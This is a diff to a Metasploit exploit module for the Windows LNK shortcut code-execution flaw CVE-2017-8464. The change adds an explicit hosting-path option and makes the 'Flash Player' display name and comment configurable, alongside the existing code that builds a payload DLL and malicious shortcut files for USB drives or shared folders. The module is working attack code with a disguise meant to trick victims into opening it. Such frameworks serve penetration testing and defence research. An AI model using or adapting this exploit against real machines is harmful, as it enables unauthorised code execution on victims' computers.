@@ -17,18 +17,23 @@ def initialize(info = {})
17
17
info ,
18
18
'Name' => 'LNK Code Execution Vulnerability' ,
19
19
'Description' => %q{
20
- This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL.
20
+ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
21
+ that contain a dynamic icon, loaded from a malicious DLL.
21
22
22
23
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
23
24
similar except an additional SpecialFolderDataBlock is included. The folder ID set
24
25
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
25
26
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
26
27
DLL file.
28
+
29
+ If no PATH is specified, the module will use drive letters D through Z so the files
30
+ may be placed in the root path of a drive such as a shared VM folder or USB drive.
27
31
} ,
28
32
'Author' =>
29
33
[
30
- 'Uncredited' , # vulnerability discovery
31
- 'Yorick Koster' # msf module
34
+ 'Uncredited' , # vulnerability discovery
35
+ 'Yorick Koster' , # msf module
36
+ 'Spencer McIntyre' # msf module
32
37
] ,
33
38
'License' => MSF_LICENSE ,
34
39
'References' =>
@@ -56,28 +61,30 @@ def initialize(info = {})
56
61
[ 'Windows x64' , { 'Arch' => ARCH_X64 } ] ,
57
62
[ 'Windows x86' , { 'Arch' => ARCH_X86 } ]
58
63
] ,
59
- 'DefaultTarget' => 0 , # Default target is Automatic
60
- 'DisclosureDate' => 'Jun 13 2017'
64
+ 'DefaultTarget' => 0 , # Default target is Automatic
65
+ 'DisclosureDate' => 'Jun 13 2017'
61
66
)
62
67
)
63
68
64
69
register_options (
65
70
[
66
71
OptString . new ( 'FILENAME' , [ false , 'The LNK file' , 'Flash Player.lnk' ] ) ,
67
72
OptString . new ( 'DLLNAME' , [ false , 'The DLL file containing the payload' , 'FlashPlayerCPLApp.cpl' ] ) ,
68
- OptString . new ( 'DRIVE ' , [ false , 'Drive letter assigned to USB drive on victim\'s machine ' ] )
73
+ OptString . new ( 'PATH ' , [ false , 'An explicit path to where the files will be hosted ' ] )
69
74
]
70
75
)
71
76
72
77
register_advanced_options (
73
78
[
74
- OptBool . new ( 'DisablePayloadHandler' , [ false , 'Disable the handler code for the selected payload' , true ] )
79
+ OptBool . new ( 'DisablePayloadHandler' , [ false , 'Disable the handler code for the selected payload' , true ] ) ,
80
+ OptString . new ( 'LnkComment' , [ true , 'The comment to use in the generated LNK file' , 'Manage Flash Player Settings' ] ) ,
81
+ OptString . new ( 'LnkDisplayName' , [ true , 'The display name to use in the generated LNK file' , 'Flash Player' ] )
75
82
]
76
83
)
77
84
end
78
85
79
86
def exploit
80
- path = ::File . join ( Msf ::Config . data_directory , 'exploits/ cve-2017-8464' )
87
+ path = ::File . join ( Msf ::Config . data_directory , 'exploits' , ' cve-2017-8464')
81
88
arch = target [ 'Arch' ] == ARCH_ANY ? payload . arch . first : target [ 'Arch' ]
82
89
datastore [ 'EXE::Path' ] = path
83
90
datastore [ 'EXE::Template' ] = ::File . join ( path , "template_#{ arch } _windows.dll" )
@@ -87,14 +94,14 @@ def exploit
87
94
dll_path = store_file ( dll , dll_name )
88
95
print_status ( "#{ dll_path } created, copy it to the root folder of the target USB drive" )
89
96
90
- if datastore [ 'DRIVE ' ]
91
- lnk = generate_link ( "#{ datastore [ 'DRIVE ' ] . split ( ':' ) [ 0 ] } : \\ #{ dll_name } " )
97
+ if datastore [ 'PATH ' ]
98
+ lnk = generate_link ( "#{ datastore [ 'PATH ' ] . chomp ( " \\ " ) } \\ #{ dll_name } " )
92
99
lnk_filename = datastore [ 'FILENAME' ] || "#{ rand_text_alpha ( 16 ) } .lnk"
93
100
lnk_path = store_file ( lnk , lnk_filename )
94
- print_status ( "#{ lnk_path } created, copy to the target USB drive" )
101
+ print_status ( "#{ lnk_path } created, copy to the target paths" )
102
+
95
103
else
96
- # HACK: the vulnerability doesn't appear to work with UNC paths
97
- # Create LNK files to different drives instead
104
+ # HACK: Create LNK files to different drives instead
98
105
# Copying all the LNK files will likely trigger this vulnerability
99
106
( 'D' ..'Z' ) . each do |i |
100
107
fname , ext = ( datastore [ 'FILENAME' ] || "#{ rand_text_alpha ( 16 ) } .lnk" ) . split ( '.' )
@@ -108,9 +115,10 @@ def exploit
108
115
end
109
116
110
117
def generate_link ( path )
118
+ vprint_status ( "Generating LNK file to load: #{ path } " )
111
119
path << "\x00 "
112
- display_name = "Flash Player \x00 " # LNK Display Name
113
- comment = "Manage Flash Player Settings \x00 "
120
+ display_name = datastore [ 'LnkDisplayName' ] . dup << " \x00 " # LNK Display Name
121
+ comment = datastore [ 'LnkComment' ] . dup << " \x00 "
114
122
115
123
# Control Panel Applet ItemID with our DLL
116
124
cpl_applet = [
0 commit comments